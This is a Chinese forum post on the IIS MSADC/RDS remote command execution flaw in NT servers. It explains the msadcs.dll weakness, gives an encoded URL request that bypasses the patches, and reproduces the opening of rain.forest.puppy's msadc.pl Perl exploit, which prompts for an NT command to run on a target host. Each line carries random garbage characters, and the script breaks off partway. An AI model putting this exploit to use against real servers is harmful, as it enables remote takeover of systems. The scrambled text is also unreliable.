IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
BBkYc:B=SA !u0|{6U 涉及程序:
[*i6?5}- Microsoft NT server
(>.+tq} C{gY*+ 描述:
LS(J%\hMDm 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
b Ag>;e( j=>:{`*c 详细:
;~nz%LJ 如果你没有时间读详细内容的话,就删除:
-`d9dJ dB c:\Program Files\Common Files\System\Msadc\msadcs.dll
`-,yJ 有关的安全问题就没有了。
uIeD.I'@{5 O C qI 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
-XcX1_ bi=IIVlH 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
??MF8uv 关于利用ODBC远程漏洞的描述,请参看:
F@C^nX9 Aw~N"i http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm TOUP.,f/! i7 *cpNPO 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
+0&SXhy%y http://www.microsoft.com/security/bulletins/MS99-025faq.asp 3d_PY,=1 m`3Mev 这里不再论述。
g#Doed.30= (=de#wh2] 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
6<%W8m\ v8PH(d2{@ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
~4MUac^w 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
E]opA$JQ Vy+UOV&v- zLeId83> #将下面这段保存为txt文件,然后: "perl -x 文件名"
uoX] #<1J +WGL`RP #!perl
W{JNNf6G #
>%PPp.R # MSADC/RDS 'usage' (aka exploit) script
Q|3SYJf #
@ -g'BvS # by rain.forest.puppy
Hf^Tok^6@] #
z'9Mg]&> # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
h_w_OCC&2 # beta test and find errors!
;Xzay| oJ<Wh @ use Socket; use Getopt::Std;
?M02|8- getopts("e:vd:h:XR", \%args);
UN,y/V Y$L>tFA print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
@1p, 71$MhPvd< if (!defined $args{h} && !defined $args{R}) {
i*q!|^M print qq~
Vv]81y15Q; Usage: msadc.pl -h <host> { -d <delay> -X -v }
q%^vx%aL\ -h <host> = host you want to scan (ip or domain)
MZ/PXY -d <seconds> = delay between calls, default 1 second
74hQ?Atw: -X = dump Index Server path table, if available
$AI0NM -v = verbose
P@RUopu,i -e = external dictionary file for step 5
lMcSe8LBQa r]0UF0# Or a -R will resume a command session
X*cf|g @C}Hx;f6 ~; exit;}
T -'B-g 9Ytd E*,k $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Nvef+L,v if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
4_A9o9&_Rh if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
wd=xs7Dz<p if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Q<e`0cu|p $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
&;V3[
*W" if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
IdvBQ [Gj $ZQ?E^> B if (!defined $args{R}){ $ret = &has_msadc;
$!msav die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
e 1k\:]6 $S|2'jc print "Please type the NT commandline you want to run (cmd /c assumed):\n"
8/4Gr8o . "cmd /c ";
aD5G0d?u $in=<STDIN>; chomp $in;
X?F$jX|c $command="cmd /c " . $in ;
Ya_4[vR< /_,} o7@t~ if (defined $args{R}) {&load; exit;}
_z3Hl?qk= te+5@k#t print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
gUrb\X &try_btcustmr;
V
r0-/T .)wj{(>TJ print "\nStep 2: Trying to make our own DSN...";
CwV1~@{- &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Z_^v#FJ'l C~5-E{i print "\nStep 3: Trying known DSNs...";
u D.E>.B &known_dsn;
;-G!jWt6Zi B1&